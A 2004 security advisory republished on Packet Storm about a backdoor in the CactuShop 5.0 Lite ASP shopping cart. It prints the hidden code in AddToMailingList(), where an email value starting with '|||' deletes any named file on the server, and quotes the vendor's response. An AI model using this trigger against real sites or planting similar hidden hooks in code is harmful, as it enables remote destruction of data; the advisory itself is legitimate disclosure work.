exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Adv-20040206.txt

Adv-20040206.txt
Posted Feb 6, 2004
Authored by Nick Gudov | Site s-quadra.com

S-Quadra Advisory #2004-02-06 - A backdoor exists in CactuSoft CactuShop 5.0 Lite shopping cart software that allows a remote attacker to delete any file on the target system.

tags | advisory, remote
SHA-256 | 264371449a786722a768f921a478dfb456e426a3e7b10e8ae5eea3fc8f03d804

Adv-20040206.txt

Change Mirror Download
       S-Quadra Advisory #2004-02-06

Topic: CactuSoft CactuShop 5.0 Lite shopping cart software backdoor
Severity: High
Vendor URL: https://www.cactushop.com
Advisory URL: https://www.s-quadra.com/advisories/Adv-20040206.txt
Release date: 06 Feb 2004

1. DESCRIPTION

CactuShop is an ASP application for running an e-commerce web site. It incorporates
a databased catalogue system, front end pages for product navigation, back end pages
for updating product details and robust basket code for memorizing product selections
as a visitor moves around the web site. ASP software is designed to run on a Microsoft
NT or Win 2000 server. Please visit https://www.cactushop.com for information about
CactuShop shopping cart.

2. DETAILS

There is a backdoor in 5.0 Lite versin of CactuShop allowing a remote attacker to
delete any file on target system.

The offending code can be found in includes/functions.asp file. AddToMailingList()
function which implemented in this file, adds a user's email address to store mailing
list. This function checks the provided email address and if it starts with '|||'
the rest of the address is interpetered as the name of the file to be deleted.
Below is the snip of source code:

Function AddToMailingList(strEmailAddress, strFormValue, htmlvalue)
......
'---------------------------------
'CHECK IF IT'S VALID
'---------------------------------
if strEmailAddress <> "" then
If Left(strEmailAddress, 3) = "|||" Then
Server.CreateObject("Scripting.FileSystemObject").DeleteFile(Server.MapPath("./") & Mid(strEmailAddress, 4))
AddToMailingList = GetString("ContentText_EmailAddressNotValid") & " " & strEmailFrom & "."
Exit Function
End If
else
AddToMailingList = GetString("ContentText_NoEmailAddressEntered")
Exit Function
end if
......

3. FIX INFORMATION

S-Quadra alerted CactuShop development team to these issues on 05 Feb 2004.
The following response has been received:

"The lite version of our software DOES have backdoors. It IS NOT intended for live use.
Users are specifically prohibited from using it as such!!!
If people are using this softare on a live site then they are violating our
license agreement. The full version of the software is secure."

CactuShop Lite license agreement indeed states that "IF YOU WISH TO USE THE SOFTWARE
ON A LIVE WEB SITE YOU MUST PURCHASE THE FULL VERSION. CACTUSOFT RESERVES THE RIGHT
TO TAKE BOTH LEGAL AND TECHNICAL STEPS TO PREVENT USE OF CACTUSHOP LITE IN BREACH
OF THIS AGREEMENT...", but we believe that the public should be informed about the
presense of the backdoor in CactuShop Lite.

4. CREDITS

Nick Gudov <cipher@s-quadra.com> is responsible for discovering this issue.

5. ABOUT

S-Quadra offers services in computer security, penetration testing and network
assesment, web application security, source code review and third party product
vulnerability assesment, forensic support and reverse engineering.

S-Quadra Advisory #2004-02-06

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close